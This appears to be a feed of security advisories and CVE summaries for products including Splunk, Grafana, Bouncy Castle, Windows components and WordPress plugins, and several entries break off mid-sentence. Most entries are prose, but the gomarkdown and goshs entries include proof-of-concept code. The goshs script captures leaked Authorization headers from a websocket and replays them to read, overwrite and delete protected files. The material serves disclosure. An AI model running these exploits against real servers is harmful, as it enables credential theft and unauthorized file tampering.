Information Disclosure

In Splunk MCP Server app versions below 1.0.3 , a user who holds a role with access to the Splunk `_internal` index or possesses the high-privilege capability `mcp_tool_admin` could view users session and authorization tokens in clear text.<br><br>The vulnerability would require either local access to the log files or administrative access to internal indexes, which by default only the admin role receives. <br><br>Review roles and capabilities on your instance and restrict internal index access to administrator-level roles. See [Define roles on the Splunk platform with capabilities](https://docs.splunk.com/Documentation/Splunk/latest/Security/Rolesandcapabilities) and [Connecting to MCP Server and Admin settings](https://help.splunk.com/en/splunk-enterprise/mcp-server-for-splunk-platform/connecting-to-mcp-server-and-admin-settings) in the Splunk documentation for more information.

In Splunk Enterprise versions below 10.2.2, 10.0.5, 9.4.10, and 9.3.11, and Splunk Cloud Platform versions below 10.4.2603.0, 10.3.2512.6, 10.2.2510.10, 10.1.2507.20, 10.0.2503.13, and 9.3.2411.127, a user who holds a role that contains the high-privilege capability `edit_user`could create a specially crafted username that includes a null byte or a non-UTF-8 percent-encoded byte due to improper input validation.<br><br>This could lead to inconsistent conversion of usernames into a proper format for storage and account management inconsistencies, such as being unable to edit or delete affected users.

In Grafana's alerting system, users with edit permissions for a contact point, specifically the permissions “alert.notifications:write” or “alert.notifications.receivers:test” that are granted as part of the fixed role "Contact Point Writer", which is part of the basic role Editor - can edit contact points created by other users, modify the endpoint URL to a controlled server. By invoking the test functionality, attackers can capture and extract redacted secure settings, such as authentication credentials for third-party services (e.g., Slack tokens). This leads to unauthorized access and potential compromise of external integrations.

The `access_key` and `connection_string` connection properties were not marked as sensitive names in secrets masker. This means that user with read permission could see the values in Connection UI, as well as when Connection was accidentaly logged to logs, those values could be seen in the logs. Azure Service Bus used those properties to store sensitive values. Possibly other providers could be also affected if they used the same fields to store sensitive data. If you used Azure Service Bus connection with those values set or if you have other connections with those values storing sensitve values, you should upgrade Airflow to 3.2.0.

During an internal security assessment, a potential vulnerability was discovered in Lenovo Software Fix, that during installation could allow a local authenticated user to perform an arbitrary file write with elevated privileges.

During an internal security assessment, a potential vulnerability was discovered in Lenovo Software Fix, that during installation could allow a local authenticated user to execute code with elevated privileges.

A potential DLL hijacking vulnerability was reported in Lenovo Service Bridge that, under certain conditions, could allow a local authenticated user to execute code with elevated privileges.

During an internal security assessment, a potential vulnerability was discovered in Lenovo Diagnostics and the HardwareScanAddin used in Lenovo Vantage that, during installation or when using hardware scan, could allow a local authenticated user to perform an arbitrary file write with elevated privileges.

Mattermost versions 10.11.x through 10.11.12, 11.3.x through 11.3.2, 11.4.x through 11.4.2, and 11.5.0 fail to enforce atomic consumption of guest magic link tokens, allowing unauthenticated attackers to establish multiple concurrent authenticated sessions from a single valid magic link. This enables unauthorized access and potential information disclosure without requiring additional credentials or user interaction beyond intercepting or obtaining the link.

The SkyWalking OAP /debugging/config/dump endpoint may leak sensitive configuration information of MySQL/PostgreSQL. This issue affects Apache SkyWalking: from 9.7.0 through 10.3.0. Users are recommended to upgrade to version 10.4.0, which fixes the issue.

HTTP header smuggling in @fastify/reply-from ≤12.6.1 and @fastify/http-proxy ≤11.4.3 allows remote unauthenticated attackers to strip proxy-added security headers from upstream requests via malicious Connection header values. Attackers can retroactively remove headers intended for routing, access control, or authentication, potentially bypassing proxy-enforced security policies. CVSS 9.0 (Critical) with high integrity impact to both vulnerable and subsequent systems. EPSS 0.04% indicates low mass-exploitation probability despite proof-of-concept availability (SSVC). Vendor patches available: upgrade to @fastify/reply-from ≥12.6.2 or @fastify/http-proxy ≥11.4.4.

Signature verification bypass in Bouncy Castle BC-JAVA (bcpkix module versions 1.49-1.83) allows remote unauthenticated attackers to forge cryptographic signatures by submitting empty signature sequences that are incorrectly accepted as valid by the draft CompositeVerifier implementation. This critical flaw (CVSS 4.0: 10.0) enables complete subversion of digital signature trust chains, potentially allowing authentication bypass, code signing forgery, and man-in-the-middle attacks against Java ap

Non-constant time comparison operations in the Legion of the Bouncy Castle BC-JAVA cryptographic library (core modules, versions 2.17.3 through 1.83) expose FrodoKEM private keys to timing side-channel attacks, enabling remote unauthenticated attackers to extract cryptographic secrets through statistical analysis of operation timing variations. CVSS 4.0 score of 10.0 reflects maximum confidentiality and integrity impact across system and subsequent contexts. EPSS probability is low (0.04%, 14th percentile) and no active exploitation is confirmed, but SSVC framework rates this as automatable with total technical impact. Vendor patch available in BC-JAVA 1.84.

GOST CTR block cipher in Bouncy Castle BC-JAVA processes only the first 255 blocks correctly, causing silent data corruption in encryption/decryption operations for longer messages. Affects BC-JAVA versions 1.59 through 1.83, with fix available in version 1.84. Local attack vector (CVSS AV:L) with critical CVSS 9.4 score reflects potential for both confidentiality and integrity compromise when applications process GOST-encrypted data streams exceeding 255 blocks (~4KB). No KEV listing or public

HCL AION allows local attackers with high privileges to explore internal filesystem structures through certain system behaviors, potentially disclosing information about the underlying environment that could facilitate further targeted attacks. The vulnerability requires local access, high privileges, and user interaction to trigger, with a CVSS score of 2.9 reflecting low immediate risk. No public exploit code or active exploitation has been identified.

Remote attackers can manipulate payment amounts in Stripe and PayPal transactions through the MetForm Pro WordPress plugin by submitting arbitrary values in the 'mf-calculation' field, bypassing price validation. Versions up to 3.9.7 are affected; the plugin fails to recompute or validate user-submitted calculation fields against configured form prices, allowing unauthenticated attackers to reduce or alter payment amounts on vulnerable forms. No active exploitation has been publicly confirmed, though the attack requires minimal complexity and produces direct financial impact.

Apache::API::Password versions through v0.5.2 for Perl can generate insecure random values for salts. The _make_salt and _make_salt_bcrypt methods will attept to load Crypt::URandom and then Bytes::Random::Secure to generate random bytes for the salt. If those modules are unavailable, it will simply return 16 bytes generated with Perl's built-in rand function. The rand function is unsuitable for cryptographic use. These salts are used for password hashing.

Connection slot exhaustion in Deadwood (MaraDNS 3.5.0036) allows remote unauthenticated attackers to cause denial of service by triggering lookups for zones with unresolvable authoritative nameserver addresses. This resource exhaustion vulnerability (CWE-670) has CVSS 7.5 severity and EPSS data indicates low exploitation probability. No public exploit identified at time of analysis, though the attack mechanism appears straightforward given the network-accessible attack vector with low complexity.

DLL hijacking in OMRON PowerAttendant Standard Edition UPS management software allows local attackers with low privileges to escalate to SYSTEM by planting malicious libraries in the installation directory, which are loaded during service startup. The attack requires high complexity (vulnerable directory permissions must exist) but achieves scope change with full system compromise. No public exploit identified at time of analysis, though the DLL hijacking technique (CWE-427) is well-documented a

XQUIC library through version 1.8.3 on Linux permits signature verification bypass and protocol manipulation via crafted QUIC STREAM frames, allowing network attackers to inject forged data into encrypted QUIC connections. Exploitation requires high complexity network interception but needs no authentication (CVSS:4.0 AV:N/AC:H/PR:N). No active exploitation confirmed (not in CISA KEV), but upstream fix available via GitHub commit 4764604a0e487eeb49338b4498aecda2194eae84. Affects applications usi

Avada (Fusion) Builder plugin for WordPress up to version 3.15.1 allows authenticated Subscriber-level users and above to access protected post metadata through the Dynamic Data feature's `post_custom_field` parameter due to insufficient validation of underscore-prefixed metadata keys. The `fusion_get_post_custom_field()` function fails to enforce metadata access controls, enabling disclosure of sensitive metadata that should be restricted. No public exploit code or active exploitation has been confirmed at the time of analysis.

Nordic Semiconductor IronSide SE for nRF54H20 before 23.0.2+17 has an Algorithmic complexity issue.

Cross-Site WebSocket Hijacking in nanobot personal AI assistant (versions before 0.1.5) allows remote websites to establish unauthorized WebSocket connections to the local bridge server (ws://127.0.0.1:3001/), enabling WhatsApp session hijacking, message interception, QR code theft, and unauthorized message transmission. This vulnerability stems from incomplete remediation of CVE-2026-2577, where the added BRIDGE_TOKEN authentication is disabled by default and the server fails to validate the Origin header during WebSocket handshakes. Attack complexity is high (AC:H) but requires no authentication (PR:N), only user interaction (UI:R) such as visiting a malicious website while the bridge is running. No public exploit identified at time of analysis, though the technical details are fully disclosed in GitHub security advisory GHSA-v5j3-4q66-58cf.

Adobe FrameMaker 2022.8 and earlier suffers from uninitialized pointer access that leaks sensitive memory contents to local attackers. The vulnerability requires user interaction-a victim must open a specially crafted file-but once triggered, it bypasses memory protections and exposes confidential data without requiring authentication or modifying files. CVSS 5.5 reflects moderate severity (local attack vector, high confidentiality impact) with no public exploit identified at time of analysis.

Adobe FrameMaker 2022.8 and earlier allows arbitrary file system read through improper input validation when a user opens a malicious file, enabling attackers to access sensitive data on the victim's system. The vulnerability requires user interaction and is classified as information disclosure with a CVSS score of 6.3. No active exploitation or public exploit code has been identified at the time of analysis.

Out-of-bounds read in Adobe FrameMaker 2022.8 and earlier enables arbitrary code execution when users open malicious crafted files. Exploitation requires local access and user interaction (CVSS 7.8, AV:L/UI:R), allowing attackers to execute code with current user privileges and achieve high confidentiality, integrity, and availability impact. EPSS data not available; no confirmed active exploitation (CISA KEV) or public exploit code identified at time of analysis. Adobe has released security bulletin APSB26-36 addressing this vulnerability.

### Summary Processing a malformed input containing a `<` character that is not followed by a `>` character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic. ### Details The `smartLeftAngle()` function in `html/smartypants.go:367-376` performs an out-of-bounds slice operation when processing a `<` character that is not followed by a `>` character anywhere in the remaining text. https://github.com/gomarkdown/markdown/blob/37c66b85d6ab025ba67a73ba03b7f3ef55859cca/html/smartypants.go#L367-L376 If the length of the slice is lower than its capacity, this leads to an extra byte of data read. If the length equals the capacity, this leads to a panic. ### PoC ```golang package main import ( "bytes" "fmt" "github.com/gomarkdown/markdown/html" ) func main() { src := []byte("<a") fmt.Printf("Input: %q (len=%d, cap=%d)\n", src, len(src), cap(src)) var buf bytes.Buffer sp := html.NewSmartypantsRenderer(html.Smartypants) sp.Process(&buf, src) // panics: slice bounds out of range fmt.Printf("Output: %q\n", buf.String()) } ``` ### Impact This vulnerability will lead to a Denial of Service / panic on the processing service. -- The Datadog Security Team

SpiceDB information disclosure vulnerability in startup logging allows high-privileged local attackers to obtain plaintext database passwords. When SpiceDB initializes at info log level, the startup configuration log message exposes the complete datastore DSN string containing unmasked credentials in the DatastoreConfig.URI field. Patch version 1.51.1 available; CVSS 6.0 reflects high confidentiality impact mitigated by high privilege requirement and local-only attack vector.

Remote code execution as root in OpenRemote IoT platform's rules engine (versions prior to 1.20.3) allows authenticated non-superuser attackers with write:rules role to execute arbitrary Java code via unsandboxed JavaScript rulesets. The vulnerability stems from Nashorn ScriptEngine.eval() executing user-supplied JavaScript without ClassFilter restrictions, enabling Java.type() access to any JVM class including java.lang.Runtime. Attackers can compromise the entire multi-tenant platform, steal c

### Summary goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to `.goshs`-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including `Authorization`. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. I reproduced this on `v2.0.0-beta.5`, the latest supported release as of April 10, 2026. ### Details The main web UI and collaborator websocket stay public when goshs is started without global `-b user:pass` authentication: - `httpserver/server.go:72-85` only installs `BasicAuthMiddleware()` when a global username or password is configured The vulnerable request is logged before `.goshs` authorization is enforced: - `httpserver/handler.go:277-279` calls `emitCollabEvent()` and `logger.LogRequest()` before the protected file is passed into ACL enforcement - `httpserver/handler.go:291-309` performs folder-level `.goshs` authentication later in `applyCustomAuth()` The collaborator pipeline copies and broadcasts every request header: - `httpserver/collaborator.go:22-46` flattens all request headers, including `Authorization`, into the websocket event and sends them to the hub - `ws/hub.go:77-84` fans the event out live to all connected websocket clients - `ws/hub.go:116-122` replays up to 200 prior HTTP events to newly connected websocket clients via catchup The frontend also makes the leak easier to understand by decoding authorization values: - `assets/js/main.js:627-645` formats and decodes the `Authorization` header for display in the collaborator panel In practice, a victim request such as: ```http GET /ACLAuth/secret.txt Authorization: Basic YWRtaW46YWRtaW4= ``` is visible to any public websocket observer before the protected file's ACL check is enforced. The attacker can then replay the leaked header against the same protected folder and gain the victim's effective access. ### PoC Manual verification commands used: `Terminal 1` ```bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5' go build -o /tmp/goshs_beta5 ./ rm -rf /tmp/goshs_collab_root mkdir -p /tmp/goshs_collab_root/ACLAuth cp integration/keepFiles/goshsACLAuth /tmp/goshs_collab_root/ACLAuth/.goshs printf 'very secret\n' > /tmp/goshs_collab_root/ACLAuth/secret.txt /tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096 ``` `Terminal 2` ```bash node - <<'NODE' const ws = new WebSocket('ws://127.0.0.1:18096/?ws'); ws.onmessage = (ev) => console.log(ev.data.toString()); NODE ``` `Terminal 3` ```bash curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt curl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -X PUT --data-binary 'owned' http://127.0.0.1:18096/ACLAuth/pwn.txt curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' 'http://127.0.0.1:18096/ACLAuth/secret.txt?delete' ``` Two terminal commands I ran during local validation: ```bash curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt ``` Observed results from manual verification: - the anonymous request returned `401` - the victim request returned `very secret` - the replayed leaked header also returned `very secret` - the replayed `PUT` returned `200` - the replayed `?delete` returned `200` - the public websocket showed `Authorization":"Basic YWRtaW46YWRtaW4="` PoC Video 1: https://github.com/user-attachments/assets/1347838e-28a0-4c9f-be9f-db7e2938c752 Single-script verification: ```bash '/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc4' ``` Observed script result: - `Captured header: Basic YWRtaW46YWRtaW4=` - `Anonymous GET status: 401` - `Replayed-header GET body: very secret` - `Replayed-header PUT status: 200` - `Replayed-header delete status: 200` - `[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree` PoC Video 2: https://github.com/user-attachments/assets/b25648a9-b96c-46b3-9ee4-0ae4cc1c3472 `gosh_poc4` script content: ```bash #!/usr/bin/env bash set -euo pipefail REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5' FIXTURE='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5/integration/keepFiles/goshsACLAuth' BIN='/tmp/goshs_beta5_collab_leak' PORT='18096' WORKDIR="$(mktemp -d /tmp/goshs-collab-beta5-XXXXXX)" ROOT="$WORKDIR/root" WS_LOG="$WORKDIR/ws.log" GOSHS_PID="" WATCH_PID="" cleanup() { if [[ -n "${WATCH_PID:-}" ]]; then kill "${WATCH_PID}" >/dev/null 2>&1 || true wait "${WATCH_PID}" 2>/dev/null || true fi if [[ -n "${GOSHS_PID:-}" ]]; then kill "${GOSHS_PID}" >/dev/null 2>&1 || true wait "${GOSHS_PID}" 2>/dev/null || true fi } trap cleanup EXIT mkdir -p "${ROOT}/ACLAuth" cp "${FIXTURE}" "${ROOT}/ACLAuth/.goshs" printf 'very secret\n' > "${ROOT}/ACLAuth/secret.txt" echo "[1/6] Building goshs beta.5" (cd "${REPO}" && go build -o "${BIN}" ./) echo "[2/6] Starting goshs without global auth on 127.0.0.1:${PORT}" "${BIN}" -d "${ROOT}" -p "${PORT}" >"${WORKDIR}/goshs.log" 2>&1 & GOSHS_PID=$! for _ in $(seq 1 40); do if curl -s "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then break fi sleep 0.25 done echo "[3/6] Opening an unauthenticated websocket observer" node - <<'NODE' >"${WS_LOG}" & const ws = new WebSocket('ws://127.0.0.1:18096/?ws'); ws.onopen = () => console.log('OPEN'); ws.onmessage = (ev) => { const msg = ev.data.toString(); console.log(msg); if (msg.includes('Authorization')) process.exit(0); }; setTimeout(() => process.exit(0), 10000); NODE WATCH_PID=$! echo "[4/6] Simulating a victim request with folder credentials" curl -s -u admin:admin "http://127.0.0.1:${PORT}/ACLAuth/secret.txt" >/dev/null wait "${WATCH_PID}" || true WATCH_PID="" LEAKED_HEADER="$(python3 - "${WS_LOG}" <<'PY' import pathlib import re import sys text = pathlib.Path(sys.argv[1]).read_text() m = re.search(r'Basic [A-Za-z0-9+/=]+', text) print(m.group(0) if m else '') PY )" if [[ -z "${LEAKED_HEADER}" ]]; then echo "[ERROR] No leaked Authorization header was captured." >&2 echo "[DEBUG] Websocket output:" >&2 cat "${WS_LOG}" >&2 exit 1 fi echo "[5/6] Replaying the leaked header as the attacker" UNAUTH_CODE="$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${PORT}/ACLAuth/secret.txt")" READ_BACK="$(curl -s -H "Authorization: ${LEAKED_HEADER}" "http://127.0.0.1:${PORT}/ACLAuth/secret.txt")" PUT_CODE="$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: ${LEAKED_HEADER}" -X PUT --data-binary 'owned' "http://127.0.0.1:${PORT}/ACLAuth/pwn.txt")" DELETE_CODE="$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: ${LEAKED_HEADER}" "http://127.0.0.1:${PORT}/ACLAuth/secret.txt?delete")" if [[ "${UNAUTH_CODE}" != "401" ]]; then echo "[ERROR] Expected anonymous direct access to fail with 401, got ${UNAUTH_CODE}." >&2 exit 1 fi if [[ "${READ_BACK}" != "very secret" ]]; then echo "[ERROR] Replayed header did not unlock the protected file." >&2 exit 1 fi if [[ "${PUT_CODE}" != "200" ]]; then echo "[ERROR] Expected replayed-header PUT to return 200, got ${PUT_CODE}." >&2 exit 1 fi if [[ "${DELETE_CODE}" != "200" ]]; then echo "[ERROR] Expected replayed-header delete to return 200, got ${DELETE_CODE}." >&2 exit 1 fi if [[ ! -f "${ROOT}/ACLAuth/pwn.txt" ]]; then echo "[ERROR] PUT did not create pwn.txt." >&2 exit 1 fi if [[ -f "${ROOT}/ACLAuth/secret.txt" ]]; then echo "[ERROR] Delete did not remove secret.txt." >&2 exit 1 fi echo "[6/6] Results" echo "Captured header: ${LEAKED_HEADER}" echo "Anonymous GET status: ${UNAUTH_CODE}" echo "Replayed-header GET body: ${READ_BACK}" echo "Replayed-header PUT status: ${PUT_CODE}" echo "Replayed-header delete status: ${DELETE_CODE}" echo "[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree" ``` ### Impact This issue is a sensitive information disclosure that becomes an authentication bypass against `.goshs`-protected content. Any unauthenticated observer who can access the public collaborator websocket can steal folder-level basic-auth credentials from a victim request and immediately reuse them to read, upload, overwrite, or delete files inside the protected subtree. Deployments that rely on public goshs access with selective `.goshs`-protected subfolders are directly exposed. ### Remediation Suggested fixes: 1. Never store or broadcast sensitive headers such as `Authorization`, `Cookie`, or `Proxy-Authorization` in collaborator events. 2. Move collaborator logging until after access-control checks, and log only minimal metadata instead of raw headers and bodies. 3. Protect the collaborator websocket and panel with the same or stronger authentication boundary as the resources being observed.

Authorization bypass in Decidim Core allows any authenticated user to accept or reject amendments on proposals belonging to other users, effectively hijacking proposal authorship. Affects decidim-core gem versions 0.19.0 and later. The flaw stems from insufficient permission checks (CWE-266) that only verify if amendment reactions are enabled at the component level, not whether the user owns the proposal. CVSS 7.5 (High) reflects network-based integrity impact, though the PR:N (no privileges required) rating appears inconsistent with the description stating 'registered and authenticated user' - this discrepancy should be verified with the vendor. No patch version identified in available data; vendor advisory recommends disabling amendment reactions as a workaround. No active exploitation (CISA KEV) or public POC reported at time of analysis.

Out-of-bounds heap read in libsixel img2sixel via integer overflow allows local attackers to crash the application and potentially leak sensitive memory contents when processing malicious --crop arguments with otherwise valid images. Affects libsixel 1.8.7 and earlier; patched in 1.8.7-r1. EPSS data not available, but exploitation requires local access with user interaction (CVSS AV:L/UI:R). No CISA KEV listing; no public exploit identified at time of analysis.

OAuth2 Proxy versions 7.11.0 through 7.15.1 fail to clear the session cookie when rendering the sign-in page due to a regression, allowing authenticated users to remain logged in even after attempting to log out via the sign-in page. On shared workstations, a subsequent user could hijack the previous user's authenticated session without additional credentials. This affects only deployments using the sign-in page as part of logout flow; organizations with dedicated logout endpoints are unaffected. The vulnerability carries a low CVSS score of 3.5 (physical attack vector required) but poses meaningful risk in shared-access environments.

Use-after-free in libsixel's gdk-pixbuf2 loader enables local attackers to achieve code execution via crafted images. Affects libsixel versions through 1.8.7 when compiled with --with-gdk-pixbuf2 option. The vulnerability stems from inconsistent memory management in load_with_gdkpixbuf(), which manually frees reference-counted frame objects, leaving dangling pointers that callbacks can access post-cleanup. CVSS 7.8 (High) with local attack vector requiring user interaction. Fixed in version 1.8.7-r1. No confirmed active exploitation (CISA KEV), though proof-of-concept feasibility is high given the deterministic nature of the memory corruption.

Out-of-bounds read in Adobe InCopy 20.5.2, 21.2 and earlier allows arbitrary code execution when users open malicious files. CVSS 7.8 (High) reflects local attack vector requiring user interaction to open a weaponized document, which then triggers memory disclosure leading to code execution in user context. No public exploit identified at time of analysis. EPSS data not available, but the local-only attack vector and mandatory user interaction substantially reduce real-world risk compared to remotely exploitable flaws.

October CMS versions prior to 3.7.14 and 4.1.10 allow authenticated editors to disclose sensitive environment variables through PHP's parse_ini_string() interpolation syntax in page settings fields. An attacker with Editor access can inject patterns like ${APP_KEY} or ${DB_PASSWORD} into CMS configuration fields, causing the server to resolve and expose database passwords, AWS credentials, and application keys, potentially enabling database compromise or session forgery. The vulnerability is limited to installations with cms.safe_mode enabled; CVSS 4.9 reflects high confidentiality impact but requires elevated privileges (PR:H) to exploit.

OpenStack Keystone's LDAP identity backend grants authentication access to disabled user accounts due to improper string-to-boolean conversion logic. Versions 8.0.0 through 28.0.0 fail to convert LDAP-disabled status into boolean values when user_enabled_invert is False (default), causing disabled accounts to authenticate as enabled. This affects all LDAP-backed Keystone deployments without specific configuration overrides. CVSS 7.7 with changed scope (S:C) indicates potential cross-tenant privilege issues. EPSS data not available; no public exploit identified at time of analysis, though the logic flaw is straightforward to trigger with valid low-privilege credentials.

Out-of-bounds read in Adobe Photoshop Desktop 27.4 and earlier enables arbitrary code execution when users open malicious files. Attackers can read beyond allocated memory boundaries during file parsing to execute code with current user privileges. CVSS 7.8 (High) reflects local attack vector requiring user interaction. No public exploit identified at time of analysis, though exploitation requires only low complexity once a victim opens the crafted file.

Unauthenticated information disclosure in free5GC UDR service allows remote attackers to retrieve sensitive Traffic Influence Subscription data through improper path validation. Due to a missing return statement after sending HTTP 404 responses, attackers can read subscription records containing subscriber IMSIs, network slice identifiers, and callback URIs without authentication by supplying arbitrary path values. EPSS score of 0.06% suggests low widespread exploitation probability, though the vulnerability requires only network access to the 5G Service Based Interface with no authentication or user interaction (CVSS:4.0 AV:N/AC:L/PR:N/UI:N). Publicly available exploit code exists in the original disclosure.

Unauthenticated access to free5GC UDR subscriber identifiers exposes SUPI/IMSI values via unprotected 5G Service Based Interface endpoint. Missing return statements in free5GC UDR versions prior to 4.2.1 allow attackers to retrieve complete subscriber databases with a single parameterless HTTP GET request, undermining 3GPP SUCI privacy mechanisms. Public exploit code exists. EPSS score is low (0.10%) indicating limited observed exploitation, but impact is severe for exposed deployments with misconfigured network segmentation.

Unauthenticated Configuration File Modification Vulnerability in DRC Central Office Services (COS) allows an attacker to modify the server's configuration file, potentially leading to mass data exfiltration, malicious traffic interception, or disruption of testing services.

FlashArray Purity applies snapshot retention policies with timing deviations from configured schedules, allowing authenticated administrators to inadvertently trigger premature or delayed data lifecycle actions. This affects FlashArray versions 5.0.0 through 6.10.0, impacting data retention integrity and compliance posture. The vulnerability requires high administrative privileges to exploit and results in integrity compromise of snapshot management operations.

Information disclosure in Pure Storage FlashBlade allows high-privileged network attackers to access sensitive data through log files. Affects FlashBlade versions 4.0.0-4.4.8, 4.5.0-4.5.13, and 4.6.0-4.6.3. The vulnerability (CWE-532: insertion of sensitive information into log file) has a CVSS 4.0 score of 8.5, indicating high confidentiality impact with scope change, but requires high privileges. No public exploit or active exploitation confirmed at time of analysis. EPSS data not yet available for this recently disclosed CVE.

Windows Snipping Tool leaks sensitive information to unauthenticated network attackers via user interaction, enabling spoofing attacks. The vulnerability affects Windows 10 (versions 1607, 1809, 21H2, 22H2) and Windows 11 (versions 22H3, 23H2, 24H2, 25H2, 26H1), as well as Windows Server 2012 through 2025. Microsoft has released patches for all affected versions; exploitation requires user interaction but no specialized technical knowledge.

Local privilege escalation in Windows Win32K graphics subsystem (Win32K-GRFX) allows authenticated attackers with low privileges to gain SYSTEM-level access by exploiting a race condition during concurrent resource access. Affects all supported Windows 10, Windows 11, and Windows Server versions from 2012 through 2025. Microsoft has released patches addressing this CWE-362 synchronization flaw. No public exploit identified at time of analysis, though the local attack vector and high complexity (

Azure Logic Apps fails to adequately protect stored credentials, enabling authenticated attackers with network access to escalate privileges and gain unauthorized access to sensitive data. With a CVSS score of 8.8 and low attack complexity (AC:L), this vulnerability poses significant risk to cloud environments where Logic Apps handle integration credentials. Microsoft has released a patch addressing the credential protection weakness. No public exploit identified at time of analysis, though the low complexity suggests straightforward exploitation once authentication is obtained.

Local privilege escalation in Windows User Interface Core across Windows 10, 11, and Server 2016-2025 allows low-privileged authenticated users to gain elevated system access via a race condition vulnerability. Attack complexity is high (AC:H), requiring precise timing exploitation of shared resource synchronization flaws. Vendor-released patches are available for all affected versions. No public exploit identified at time of analysis, though the local attack vector and authenticated requirement

Privilege escalation in Windows User Interface Core across Windows 10 (1809-22H2), Windows 11 (22H3-26H1), and Windows Server (2019-2025) allows authenticated local attackers to gain elevated privileges via race condition exploitation. Vendor-released patches available for all affected versions. No public exploit identified at time of analysis. CVSS 7.8 (high) with local attack vector and high complexity (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C) indicates significant real-world risk in multi-user environments where low-privilege users can access affected systems.

Windows Shell information disclosure vulnerability (CVE-2026-32151) allows authenticated network attackers to read sensitive data without authorization. The vulnerability affects Windows 10 versions 1607-22H2, Windows 11 versions 22H3-26H1, Windows Server 2012-2025, and associated Server Core installations. Microsoft has released vendor patches for all affected versions; exploitation requires valid credentials and network access but no user interaction.

Local privilege escalation in Microsoft Windows Function Discovery Service (fdwsd.dll) allows low-privileged authenticated users to gain SYSTEM-level access via a race condition. Affects all supported Windows 10, 11, and Server versions from 2012 through 2025. Vendor-released patches available from Microsoft. CVSS 7.0 (high complexity local attack). No public exploit identified at time of analysis, though the race condition class (CWE-362) is well-understood and commonly weaponized once details emerge.

Windows Hyper-V local privilege escalation via improper input validation (CWE-20) enables authenticated low-privilege attackers with user interaction to execute arbitrary code with high confidentiality, integrity, and availability impact across Windows 10 (versions 1607-22H2), Windows 11 (versions 22H3-26H1), and Windows Server (2016-2025). Microsoft released patches addressing the vulnerability with EPSS exploitation probability data not available; no public exploit identified at time of analys

Privilege escalation in Windows Function Discovery Service (fdwsd.dll) allows authenticated local attackers to gain SYSTEM-level access by exploiting a race condition during shared resource handling. Affects all supported Windows 10/11 client versions and Windows Server 2012 through 2025. Vendor-released patches are available per Microsoft's May 2026 Patch Tuesday. No public exploit identified at time of analysis, but CVSS 7.0 reflects high complexity local attack requiring low privileges.

Windows File Explorer exposes sensitive information to authenticated local users with low privileges, allowing them to read confidential data without modification or service disruption. This affects multiple Windows 10 and Windows 11 versions, as well as Windows Server 2012 through 2025. Microsoft has released patches addressing the information disclosure vector; exploitation requires local system access and valid user credentials.

Windows File Explorer information disclosure vulnerability in Windows 10 and Windows 11 allows authenticated local attackers to read sensitive files through a flaw in access control validation. CVSS 5.5 indicates moderate risk with confidentiality impact but no integrity or availability compromise. Patch available from Microsoft; no public exploit code or active exploitation confirmed at time of analysis.

Untrusted pointer dereference in Windows Universal Plug and Play (UPnP) Device Host enables authenticated local attackers to elevate privileges to SYSTEM level across all supported Windows 10, Windows 11, and Windows Server versions from 2012 through 2025. The vulnerability (CWE-822) requires low-privilege authenticated access and minimal attack complexity (CVSS 7.8, AV:L/AC:L/PR:L). No public exploit identified at time of analysis. Microsoft released patches for all affected versions including

Local privilege escalation in Windows Storage Spaces Controller (Windows 11 22H2-26H1, Server 2022-2025) enables low-privileged authenticated users to gain SYSTEM-level access via out-of-bounds read exploitation. CVSS 7.8 (High). No public exploit identified at time of analysis, but ENISA EUVD tracking indicates European regulatory attention. Vendor-released patches available for all affected versions.

Local privilege escalation via double free vulnerability in Windows Projected File System (ProjFS) enables low-privileged authenticated users to achieve SYSTEM-level access across Windows 10, Windows 11, and Windows Server environments. The CWE-415 memory corruption flaw requires low attack complexity and no user interaction, affecting all actively supported Windows versions from legacy 1809 builds through current 26H1 releases. Vendor-released patches are available with build numbers confirmed

Privilege escalation in Windows Projected File System (ProjFS) enables low-privileged local users to gain SYSTEM-level control through a double-free memory corruption vulnerability across Windows 10, 11, and Server 2019-2025. Vendor-released patch available for all affected versions (build numbers 10.0.17763.8644+, 10.0.19044.7184+, 10.0.22631.6936+, 10.0.26100.32690+, and newer). No public exploit identified at time of analysis, though the local attack vector with low complexity (CVSS AV:L/AC:L

Local privilege escalation in Windows SSDP Service affects all supported Windows 10, Windows 11, and Windows Server versions from 2012 through 2025 via a race condition vulnerability. Authenticated local users with low privileges can exploit improper synchronization in shared resource access to gain SYSTEM-level privileges, achieving full system compromise. Vendor-released patches are available across all affected versions. No public exploit identified at time of analysis, though the local attack vector and high impact warrant priority patching on multi-user or sensitive systems.

Out-of-bounds read in Windows GDI allows local unauthenticated attackers to disclose sensitive information with user interaction. The vulnerability affects Windows 10 versions 1607, 1809, 21H2, and 22H2, all Windows 11 versions from 22H3 through 26H1, and Windows Server 2012 through 2025. No public exploit code or active exploitation has been confirmed; a vendor patch is available.

